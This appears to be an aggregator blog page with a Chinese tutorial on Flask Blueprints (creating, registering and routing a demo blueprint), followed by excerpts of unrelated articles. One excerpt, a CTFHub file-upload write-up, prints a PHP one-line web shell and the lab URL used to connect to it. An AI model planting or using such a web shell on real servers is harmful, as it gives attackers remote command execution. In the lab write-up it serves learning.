详细分析Flask中的蓝图Blueprint(附Demo)

server/2024/9/22 22:32:29/

目录

  • 前言
  • 1. 基本知识
  • 2. Demo

前言

对于Java的基本知识推荐阅读:

  1. java框架 零基础从入门到精通的学习路线 附开源项目面经等(超全)
  2. 【Java项目】实战CRUD的功能整理(持续更新)

1. 基本知识

蓝图(Blueprint) 是 Flask 中用于模块化和组织应用程序的机制

  • 允许将一个应用程序的功能划分成多个组件,使得代码更易于管理和扩展
  • 蓝图使得大型应用程序可以被分解为多个独立的部分,每个部分负责应用程序的一个特定功能或一组功能

为什么需要蓝图??

  • 模块化:将应用程序的不同部分分离成模块,便于管理和维护。例如,可以将用户认证、博客文章、管理后台等功能拆分到不同的蓝图中
  • 重用性:蓝图可以被多个应用程序重用。如果你有多个项目需要相似的功能,可以将这些功能封装到一个蓝图中,然后在不同的项目中使用
  • 清晰的结构:使得应用程序的代码结构更加清晰,便于团队开发和代码审查
  • 简化测试:每个蓝图可以单独测试,简化了单元测试和集成测试的过程

基本的步骤和运行机制 通过Demo也可看出

  1. 创建蓝图:使用 Blueprint 类创建一个蓝图对象,定义蓝图的路由和视图
  2. 注册蓝图:在主应用程序中使用 app.register_blueprint() 方法注册蓝图,并指定 URL 前缀(如果需要)
  3. 访问路由:访问蓝图中的路由时,Flask 会根据 URL 前缀将请求路由到相应的蓝图,并执行蓝图中定义的视图函数

2. Demo

  1. 创建蓝图
    首先,创建一个蓝图对象

蓝图对象包含了视图函数、错误处理函数、模板和静态文件的路由等

python"># 创建蓝图的文件:my_blueprint.pyfrom flask import Blueprint, render_template# 创建蓝图对象
my_blueprint = Blueprint('my_blueprint', __name__)# 定义蓝图中的视图
@my_blueprint.route('/')
def home():return 'Hello from the blueprint!'@my_blueprint.route('/hello')
def hello():return 'Hello, world!'
  1. 注册蓝图
    在主应用程序文件中,将蓝图注册到 Flask 应用程序中
    这一步将蓝图中的路由和视图集成到主应用程序中
python"># 主应用程序文件:app.pyfrom flask import Flask
from my_blueprint import my_blueprintapp = Flask(__name__)# 注册蓝图
app.register_blueprint(my_blueprint, url_prefix='/bp')if __name__ == '__main__':app.run(debug=True)

app.register_blueprint(my_blueprint, url_prefix='/bp'):将 my_blueprint 蓝图注册到主应用程序中,并为蓝图中的所有路由指定前缀 /bp

  1. 运行应用程序
    在这里插入图片描述

启动之后访问对应的URL即可

  • 访问 http://127.0.0.1:5000/ 会调用主应用程序中的 main_home 视图。
  • 访问 http://127.0.0.1:5000/bp/ 会调用蓝图中的 home 视图。
  • 访问 http://127.0.0.1:5000/bp/hello 会调用蓝图中的 hello 视图

后续可以搭建前后端不分离的项目,推荐阅读


http://www.ppmy.cn/server/93708.html

相关文章

CTFHUB-文件上传-无验证

开启题目 1.php 一句话木马内容&#xff1a; <?php eval($_POST[cmd]);?> 上传一句话木马&#xff0c;发现上传成功 蚁剑连接 http://challenge-8b27d18368ecc25c.sandbox.ctfhub.com:10800/upload/1.php 在 “/var/www/html/flag_1791214435.php”发现了 flag

Spring Cloud中怎么使用Resilience4j Retry对OpenFeign进行重试

在微服务架构中&#xff0c;服务之间的通信是非常频繁的。而使用OpenFeign可以极大简化微服务之间的HTTP通信。但在复杂的分布式系统中&#xff0c;服务之间的调用可能会因为网络问题、服务故障等原因而失败。因此&#xff0c;实现服务调用的重试机制显得尤为重要。Resilience4…

深度学习:转置卷积

什么是转置卷积&#xff08;Transposed Convolution&#xff09; 转置卷积&#xff0c;又称反卷积&#xff08;Deconvolution&#xff09;或上采样卷积&#xff08;Upsampling Convolution&#xff09;&#xff0c;是一种卷积操作&#xff0c;通常用于生成式模型或图像处理任务…

YOLO:训练自己的样本数据集进行目标检测

作者&#xff1a;CSDN _养乐多_ 本文将介绍如何使用python语言和 ultralytics 库训练自己的数据集&#xff0c;并进行 YOLO 目标检测模型训练和推理的代码。 文章目录 一、样本数据集准备1.1 标注工具1.2 数据集格式1.2.1 图片和标签数据集制作1.2.2 data.yaml制作 二、模型训…

WPF Datagrid控件,获取某一个单元格中的控件

在WPF应用程序中&#xff0c;比如需要获取特定 DataGrid 单元格中的 TextBlock 控件&#xff0c;可以通过访问 DataGridRow 和 DataGridCell 对象。以下是一个例子&#xff0c;展示如何获取 DataGrid 的第二行第一列中的 TextBlock 控件&#xff0c;并修改其属性。 1. 在XAML中…

编程入门:大学新生的指南与策略

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

LLM多智能体AutoGen教程 7: 什么你还在自己查阅论文?

最近需要优化人脸姿态评估模型&#xff0c;往常我需要调研当前业界最新论文&#xff0c;在arxiv上查阅论文&#xff0c;然后到上查看相关算法benchmark上的排名&#xff0c;最后选定论文和模型。今天再deeplearning.ai的课程上看到使用AutoGen自动获取NVIDIA最近一年的股价并撰…

动态语言 Python 的优势和应用

1、问题背景 对于 Java 和 C# 开发人员来说&#xff0c;Python 作为一种动态语言&#xff0c;因其灵活性、简洁性和可读性而受到关注。为了更好地理解 Python 的优势&#xff0c;我们将重点讨论它与 Java 和 C# 的不同之处。 2、解决方案 1&#xff09;动态类型 Python 最显…